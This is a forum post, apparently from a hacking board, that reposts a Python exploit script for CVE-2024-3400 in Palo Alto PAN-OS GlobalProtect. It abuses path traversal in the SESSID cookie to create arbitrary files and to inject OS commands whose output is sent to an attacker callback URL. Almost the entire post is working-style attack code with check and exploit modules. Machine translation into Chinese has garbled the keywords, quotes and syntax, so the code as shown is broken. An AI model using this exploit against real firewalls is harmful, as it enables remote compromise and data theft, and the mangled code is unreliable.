H

Palo Alto Pan-OS V11.1.2-H3-命令注入和任意文件创建

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: PALO ALTO PAN-OS V11.1.2-H3-命令注入和任意文件创建
#Date: 2024年4月21日
#利用作者: kr0ff
#供应商HomePage3360 https://security.paloaltonetworks.com/cve-2024-3400
#软件link:-
#版本: PAN-OS 11.1 11.1.0-H3,11.1.1-H1,11.1.2-H3
#PAN-OS 11.0 11.0.0-H3,11.0.1-H4,11.0.2-H4,11.0.3-H10,11.0.4-H1
#PAN-OS 10.2 10.2.0-H3,10.2.1-H2,10.2.2-H5,10.2.3-H13,10.2.4-H16,10.2.5-H6,10.2.6-H3,10.2.7-H8,10.2.7-H8,10.2.8-H3,10.2.9-H1
#测试在: Debian
#CVE : CVE-2024-3400
#!/usr/bin/env Python3
导入系统
TRY:
导入argparse
导入请求
除incorterror:
打印(“缺失依赖项,请求或未安装的ArgParse”)
sys.exit(2)
https://attackerkb.com/topics/sstk336tmf/cve-2024-3400/rapid7-analysis
https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-cve-2024-3400/
def check_vuln(target: str,file: str)-Boo:
ret=false
uri='/ssl-vpn/hipreport.esp'
s=requests.session()
r='''
标题={
“用户代理” : \
'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,像Gecko一样)Chrome/118.0.0.0.0.0.0.0.0.0.0.0.0.0.0.36.36',#Windows 10 Chrome 10 Chrome 118.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.情况
'content-type':'应用程序/x-www-form-urlencoded',
'cookie': \
f'Sessid=./././var/appweb/sslvpndocs/global-protect/portal/images/{file}'
}
headers_nocookie={
“用户代理” : \
'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,像Gecko一样)Chrome/118.0.0.0.0.0.0 Safari/537.36
}
如果不是“ http://'',或者不是“ https://”
target='http://' +目标
TRY:
r=s.post((目标+ uri),验证=false,标头=标题,超时=10)
除了requests.sexceptions.timeout或requests.connectionerror为e:
打印(f'request为\'http \'!{e}')
打印('用\'https \'.'尝试
target='https://' +目标
TRY:
r=s.post((目标+ uri),验证=false,标头=标题,超时=10)
除了requests.sexceptions.timeout或requests.connectionerror为e:
打印(f'request for \'https \'')
sys.exit(1)
其他:
r=s.post((目标+ uri),验证=false,标头=标题,超时=10)
如果r.status_code==200:
r=s.get((目标+ f'/global-protect/portal/portal/images/{file}'),verify=false,headers=headers_nocookie,timeout=10)
如果r.status_code==403:
打印(“目标很容易受到CVE-2024-3400”的影响)
ret=true
其他:
返回ret
返回ret
def cmdexec(target: str,callback_url: str,pareload: str)-Boo:
ret=false
p=''
如果在payload:中
p=paryload.replace('','$ {ifs)')
uri='/ssl-vpn/hipreport.esp'
标题={
“用户代理” : \
'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,像Gecko一样)Chrome/118.0.0.0.0.0.0.0.0.0.0.0.0.0.0.36.36',#Windows 10 Chrome 10 Chrome 118.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.情况
'content-type':'应用程序/x-www-form-urlencoded',
'cookie': \
f'SessID=././././opt/panlogs/tmp/tmp/device_telemetry/minute/minute/tacte782` {callback_url}?r=$({有效载荷})'''
}
s=requests.session()
r='''
如果不是“ http://'',或者不是“ https://”
target='http://' +目标
TRY:
r=s.post((目标+ uri),验证=false,标头=标题,超时=10)
除了requests.sexceptions.timeout或requests.connectionerror为e:
打印(f'request为\'http \'!{e}')
打印('用\'https \'.'尝试
target='https://' +目标
TRY:
r=s.post((目标+ uri),验证=false,标头=标题,超时=10)
除了requests.sexceptions.timeout或requests.connectionerror为e:
打印(f'request for \'https \'')
sys.exit(1)
其他:
r=s.post((目标+ uri),验证=false,标头=标题,超时=10)
如果不是R.Text:中的“成功”
返回ret
其他:
ret=true
返回ret
#Initilize Parser进行参数
DEF ARGPARSER(选择=无):
parser=argparse.argumentparser(Description='CVE-2024-3400-PALO ALTO OS命令注射')
subparser=parser.add_subparser(help='可用模块',dest='module')
exploit_subp=subparser.add_parser('exploit',help='exploit script of Script')
exploit_subp.add_argument('-t',' - target',help='target target将有效载荷发送到',quilt
exploit_subp.add_argument('-p',' - payload',help='有效载荷要发送(e.g3: whoami)',必需=true)
exploit_subp.add_argument('-c',' - callbackurl',help='回调URL,例如burp collaborator或sellic'',必需=true)
#---------------------------------------------------------
check_subp=subparser.add_parser('check',help='漏洞检查脚本的模块')
check_subp.add_argument('-t',' - target',help='target检查是否脆弱',必需=true)
check_subp.add_argument('-f',' - filename',help='有效载荷的文件名(例如
args=parser.parse_args(选择)
args=parser.parse_args(args=none如果sys.argv [1:] else ['-h'])
如果args.module=='exploit':
cmdexec(args.target,args.callbackurl,args.payload)
如果args.module=='check':
check_vuln(args.target,args.filename)
如果name=='__ -Main __':
argparser()
打印(“完成!”)
 
后退
顶部